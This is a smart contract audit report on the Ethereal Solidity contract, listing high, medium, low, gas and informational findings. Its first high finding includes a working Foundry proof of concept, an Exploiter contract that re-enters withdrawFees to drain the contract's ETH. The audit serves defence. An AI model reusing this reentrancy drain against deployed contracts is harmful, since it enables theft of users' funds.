BELLUM

GALAXY

Table of Contents

Protocol Summary

Disclaimer

The Bellum Galaxy team makes all effort to find as many vulnerabilities in the code in the given time period, but holds no responsibilities for the findings provided in this document. A security audit by the team is not an endorsement of the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the Solidity implementation of the contracts.

Risk Classification

		Impact		
		High	Medium	Low
	High	H	H/M	M
Likelihood	Medium	H/M	M	M/L
	Low	M	M/L	L

We use the CodeHawks severity matrix to determine severity. See the documentation for more details.

Audit Details

- **Project Name:**
  - Ethereal

- **Smart Contract Address:**
  - Not deployed
- **Audit Date:**
  - 28/02/2024
- **Audit Tools Used:**
  - Aderyn
  - Code Review
  - Slither
  - Solidity Code Metrics
- **Auditors:**
  - Barba

Scope

```
`ethereal.sol`
```

Roles

Green Rabbit

Issues found

Severtity	Number of issues found
High	2
Medium	1
Low	6
Gas	5
Info	1
Total	15

Audit Findings

High Severity Vulnerabilities

- **Protocol design allows the owner to drain all the eth.**
  - **Description:**
    - Centralization already can be a problem however, in this case, we have a sum of factors that can lead to a drain of funds
    - The protocol design allows the owner to attack "safe" and "controlled" functions that are supposed to be used to withdraw funds.
  - **Impact:**

- All the ETH funds can be drained.

- **Proof of Concept:**

▶ Add the code below to `Ethereal.t.sol`

```
    function test_PreparingExploid() public {
            ethereal = new Ethereal();

            ethereal.createCollection("1st Collection", false,
address(0), true, BASE_URL);
            ethereal.createGem(0, 100 * 1e18, 100, true);
            ethereal.createCollection("2nd Collection", false,
address(0), true, BASE_URL);
            ethereal.createGem(1, 50* 1e18, 100, true);
            ethereal.createCollection("3rd Collection", false,
address(0), true, BASE_URL);
            ethereal.createGem(2, 50* 1e18, 100, true);

            vm.deal(user1, 200 * 1e18);
            vm.startPrank(user1);
            uint256 tokenIdOne = ethereal.mint{value: 100 * 1e18}(0,
user1);
            uint256 tokenIdTwo = ethereal.mint{value: 50 * 1e18}(1,
user1);
            uint256 tokenIdThree = ethereal.mint{value: 50 * 1e18}(2,
user1);
            vm.stopPrank();

            vm.prank(user1);
            ethereal.redeem(tokenIdTwo);
            vm.prank(user1);
            ethereal.redeem(tokenIdThree);

            Exploiter ex = new Exploiter(ethereal);

            ethereal.setPayout(address(ex));
            ethereal.transferOwnership(address(ex));
            console2.log(address(ex).balance);

            vm.prank(address(ex));
            ex.exploit();

            console2.log(address(ex).balance);
//101_000_000_000_000_000_000
        }

        contract Exploiter {
        Ethereal eth;

        constructor(Ethereal _address){
            eth = _address;
        }

        function exploit() public {
            eth.withdrawFees();
        }

        receive() external payable {
            if(address(eth).balance > 0){
                eth.withdrawFees();
            }
        }
    }
```

- Considering the following function, the wstEth could be drained too.

```
    function approveWstEth(address _spender) external onlyOwner {
      require(_spender != address(0), "Zero address");
      IwstETH(wstETH).approve(_spender,
0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff);
    }
```

- **The function `etheral::_mintWstEth` is implemented incorrectly, breaking the functionality.**
  - **Description:**
    - wstEth is an ERC20. So the transfer should be done using `etheral::transfer` or `etheral::transferFrom`from the `IwstEth`. Also, the `etheral::mint` function requires that some eth value must be sent. However, in this case, no ether would be sent.
  - **Impact:**
    - Protocol functionality is not utilized
  - **Proof of Concept:**

▶ See the code below

```


    function _mintWstEth(uint256 _id, uint256 _collection, address
_recipient) internal returns (uint256 tokenId_) {
        tokenId_ = ++_tokenCounter;
        _safeMint(_recipient, tokenId_);
        circulatingGems++;
        uint256 preBalance = IwstETH(wstETH).balanceOf(address(this));

@>      (bool success,) = wstETH.call{value: msg.value}("");
@>      require(success, "Failed to deposit Ether");

        metadata[tokenId_] =
Metadata(IwstETH(wstETH).balanceOf(address(this)) - preBalance,
_collection, _id);
        emit GemMinted(tokenId_, _recipient, msg.value);
    }
```

```
    function mint(uint256 _id, address _recipient) external payable
nonReentrant whenNotPaused returns (uint256 tokenId_){

@>      require(msg.value == gems[_id].denomination, "Wrong ether
amount");

        //Verify has validator
        if (collections[gems[_id].collection].validator) {
            //Verify msg.sender == validator
            require(collections[gems[_id].collection].validatorAddress
== msg.sender, "Not Validator");
        }

        //Activ means that someone has the gem already
        require(gems[_id].active, "No longer mintable");

        if (collections[gems[_id].collection].ethereum) {
            return _mintEth(_id, gems[_id].collection, _recipient);
        } else {
            return _mintWstEth(_id, gems[_id].collection, _recipient);
        }
    }
```

Medium Severity Vulnerabilities

- **Centralization Risk for trusted owners**
  - **Description:**
    - Contracts have owners with privileged rights to perform admin tasks and need to be trusted to not perform malicious updates or drain funds.
  - See the instances below
    - Found in src/ethereal.sol Line: 23

```
contract Ethereal is Ownable, Pausable, ERC721URIStorage, ERC721Holder,
ReentrancyGuard {
```

    - Found in src/ethereal.sol Line: 78

```
        ) external onlyOwner returns (uint256 id_) {
```

- Found in src/ethereal.sol Line: 96

  ```
          onlyOwner
  ```

- Found in src/ethereal.sol Line: 113

  ```
      ) external onlyOwner {
  ```

- Found in src/ethereal.sol Line: 123

  ```
          onlyOwner
  ```

- Found in src/ethereal.sol Line: 131

  ```
      function ceaseGem(uint256 _id) external onlyOwner {
  ```

- Found in src/ethereal.sol Line: 250

  ```
      function setWstEth(address _wstETH) external onlyOwner {
  ```

- Found in src/ethereal.sol Line: 255

  ```
      function setPayout(address _payout) external onlyOwner {
  ```

- Found in src/ethereal.sol Line: 260

  ```
      function withdrawFees() external onlyOwner {
  ```

- Found in src/ethereal.sol Line: 266

  ```
      function approveWstEth(address _spender) external onlyOwner {
  ```

- **Impact:**
  - Besides the risks already mentioned, on this particular protocol, for example, the owner could change the address of the wstEth and block withdraws.

Low Severity Vulnerabilities

- **Missing critical event emission**
  - **Description:**

▶ See the intances below

~~~~
```solidity
    function setWstEth(address _wstETH) external onlyOwner {
        require(_wstETH != address(0), "Zero address");
        wstETH = _wstETH;
    }

```


```solidity
    function setPayout(address _payout) external onlyOwner {
        require(_payout != address(0), "Zero address");
        payout = _payout;
    }
```


```solidity
    function withdrawFees() external onlyOwner {
            (bool success,) = payout.call{value: fees}("");
            require(success, "Transfer failed");
            fees = 0;
    }
```
~~~~

  - **Impact:**
    - Critical protocol updates could be unnoticed.

- **Following functions don't follow CEI patterns**
  - **Description:**

▶ See the instances below

```
    function _mintWstEth(uint256 _id, uint256 _collection, address
_recipient) internal returns (uint256 tokenId_) {
        tokenId_ = ++_tokenCounter;
        _safeMint(_recipient, tokenId_);
```

```
        circulatingGems++;
        uint256 preBalance = IwstETH(wstETH).balanceOf(address(this));

        (bool success,) = wstETH.call{value: msg.value}("");
        require(success, "Failed to deposit Ether");
        metadata[tokenId_] =
Metadata(IwstETH(wstETH).balanceOf(address(this)) - preBalance,
_collection, _id);
        emit GemMinted(tokenId_, _recipient, msg.value);
    }
```

```

    function _redeemEth(uint256 _tokenId) internal {
        safeTransferFrom(msg.sender, address(this), _tokenId);
        _burn(_tokenId);
        circulatingGems--;
        uint256 redeemFee = (metadata[_tokenId].balance *
gems[metadata[_tokenId].gem].redeemFee) / 1e4;
        uint256 amount = metadata[_tokenId].balance - redeemFee;
        fees += redeemFee;
        metadata[_tokenId].balance = 0;
        (bool success,) = msg.sender.call{value: amount}(" ");
        require(success, " ");
        emit GemRedeemed(_tokenId, msg.sender, amount);
    }
```

```

    function _redeemWstEth(uint256 _tokenId) internal {
        safeTransferFrom(msg.sender, address(this), _tokenId);
        uint256 redeemFee = metadata[_tokenId].balance *
gems[metadata[_tokenId].gem].redeemFee / 1e4;
        uint256 amount = metadata[_tokenId].balance - redeemFee;
        fees += redeemFee;
        metadata[_tokenId].balance = 0;
        _burn(_tokenId);
        circulatingGems--;
        IwstETH(wstETH).transfer(msg.sender, amount);
        emit GemRedeemed(_tokenId, msg.sender, amount);
    }
```

- **`abi.encodePacked()` should not be used with dynamic types when passing the result to a hash function such as `keccak256()`**
  - **Description:**
    - Use `abi.encode()` instead which will pad items to 32 bytes, which will prevent hash collisions (e.g. `abi.encodePacked(0x123,0x456)` => `0x123456` => `abi.encodePacked(0x1,0x23456)`, but `abi.encode(0x123,0x456)` => `0x0...1230...456`). Unless there is a compelling reason, `abi.encode` should be

preferred. If there is only one argument to `abi.encodePacked()` it can often be cast to `bytes()` or `bytes32()` instead.

If all arguments are strings and or bytes, `bytes.concat()` should be used instead.

- Found in src/ethereal.sol Line: 272

```
        return string(abi.encodePacked(a, b));
```

- **Impact:**
- **Proof of Concept:**
- **Recommendation:**

- **Unsafe ERC20 Operations should not be used**
  - **Description:**
    - ERC20 functions may not behave as expected. For example: return values are not always meaningful. It is recommended to use OpenZeppelin's SafeERC20 library.
    - Found in src/ethereal.sol Line: 195

```
        IwstETH(wstETH).transfer(msg.sender, amount);
```

    - Found in src/ethereal.sol Line: 268

```
        IwstETH(wstETH).approve(_spender,
0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff
);
```

  - **Impact:**
  - **Proof of Concept:**
  - **Recommendation:**

- **Solidity pragma should be specific, not wide**
  - **Description:**
    - Consider using a specific version of Solidity in your contracts instead of a wide version. For example, instead of `pragma solidity ^0.8.0;`, use `pragma solidity 0.8.0;`
    - Found in src/ethereal.sol Line: 1

```
pragma solidity ^0.8.0;
```

- **Impact:**
- **Proof of Concept:**
- **Recommendation:**

- **PUSH0 is not supported by all chains**
  - **Description:**
    - Solc compiler version 0.8.20 switches the default target EVM version to Shanghai, which means that the generated bytecode will include PUSH0 opcodes. Be sure to select the appropriate EVM version in case you intend to deploy on a chain other than mainnet like L2 chains that may not support PUSH0, otherwise deployment of your contracts will fail.
    - Found in src/ethereal.sol Line: 1

    ```
    pragma solidity ^0.8.0;
    ```
  - **Impact:**
  - **Proof of Concept:**
  - **Recommendation:**

Gas Observations

- **Unused functions**
  - **Description:**
    - The following Interface functions are not used

  ```
      function getStETHByWstETH(uint256 amount) external view returns
  (uint256);
      function getWstETHByStETH(uint256 amount) external view returns
  (uint256);
      function stEthPerToken() external view returns (uint256);
  ```

- **Unused event**
  - **Description:**
    - The following event is not being used

```
    event Approval(address indexed tokenOwner, address indexed spender,
uint256 tokens);
```

- **Smaller variables should be packed together**
  - **Description:**
    - The following variables should be packed together:

```
      struct Collection {
          string name; //3-4
          bool validator; //0
          address validatorAddress; //2
          bool ethereum; //1
          string baseURI; //3-4
      }
```

- **Functions not used internally could be marked external**
  - **Description:**
    - Public function has a higher gas consumption. If the function is not used internally, should be marked as external.

▶ See the instances bellow

~~~
```solidity
    function getTokenCollectionName(uint256 _tokenId) public view
returns (string memory) {
```
~~~

- Found in src/ethereal.sol Line: 213

```
    function getTokenCollectionId(uint256 _tokenId) public
view returns (uint256) {
```

- Found in src/ethereal.sol Line: 217

```
    function getTokenGemId(uint256 _tokenId) public view
returns (uint256) {
```

- Found in src/ethereal.sol Line: 221

```
    function getTokenBalance(uint256 _tokenId) public view returns (uint256) {
```

- Found in src/ethereal.sol Line: 225

```
    function getCollectionsLength() public view returns (uint256) {
```

- Found in src/ethereal.sol Line: 229

```
    function getGemsLength() public view returns (uint256) {
```

- Found in src/ethereal.sol Line: 233

```
    function totalPrinted() public view returns (uint256) {
```

- Found in src/ethereal.sol Line: 237

```
    function gemsCirculating() public view returns (uint256) {
```

- Found in src/ethereal.sol Line: 242

```
    function tokenURI(uint256 _tokenId) public view override returns (string memory) {
```

- Found in src/ethereal.sol Line: 246

```
    function onERC721Received(address, address, uint256, bytes memory) public virtual override returns (bytes4) {
```

- **Recommendation:**
  - Change the functions visibility if not used internally.

- **Constants should be defined and used instead of literals**
  - **Description:**

- The use of literals can lead to errors. It's a best practice use constant variables instead of literals.

▶ See the instances bellow

- Found in src/ethereal.sol Line: 178

```
        uint256 redeemFee = (metadata[_tokenId].balance *
gems[metadata[_tokenId].gem].redeemFee) / 1e4;
```

- Found in src/ethereal.sol Line: 189

```
        uint256 redeemFee = metadata[_tokenId].balance *
gems[metadata[_tokenId].gem].redeemFee / 1e4;
```

- Found in src/ethereal.sol Line: 268

```
        IwstETH(wstETH).approve(_spender,
0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff
);
```

- Found in src/ethereal.sol Line: 286

```
            temp /= 10;
```

- Found in src/ethereal.sol Line: 290

```
            digits -= 1;
```

- Found in src/ethereal.sol Line: 291

```
            buffer[digits] = bytes1(uint8(48 + uint256(value %
10)));
```

- Found in src/ethereal.sol Line: 292

```
            value /= 10;
```

- **Recommendation:**

- Use CONSTANT_VARIABLES instead of literals.

Informational Observations

- **Named Imports**
  - **Description:**
    - It's a best practice to use named imports:

```
    import "openzeppelin-contracts/access/Ownable.sol";
    import "openzeppelin-contracts/utils/Pausable.sol";
    import "openzeppelin-
contracts/token/ERC721/extensions/ERC721URIStorage.sol";
    import "openzeppelin-
contracts/token/ERC721/utils/ERC721Holder.sol";
    import "openzeppelin-contracts/utils/ReentrancyGuard.sol";
```

  - **Recommendation:**

```diff
-    import "openzeppelin-contracts/access/Ownable.sol";
+    import {Ownable} from "openzeppelin-contracts/access/Ownable.sol";
-    import "openzeppelin-contracts/utils/Pausable.sol";
+    import {Pausable} from "openzeppelin-contracts/utils/Pausable.sol";
-    import "openzeppelin-
contracts/token/ERC721/extensions/ERC721URIStorage.sol";
+    import {ERC721URIStorage} from "openzeppelin-
contracts/token/ERC721/extensions/ERC721URIStorage.sol";
-    import "openzeppelin-
contracts/token/ERC721/utils/ERC721Holder.sol";
+    import {ERC721Holder} from "openzeppelin-
contracts/token/ERC721/utils/ERC721Holder.sol";
-    import "openzeppelin-contracts/utils/ReentrancyGuard.sol";
+    import {ReentrancyGuard} from "openzeppelin-
contracts/utils/ReentrancyGuard.sol";
```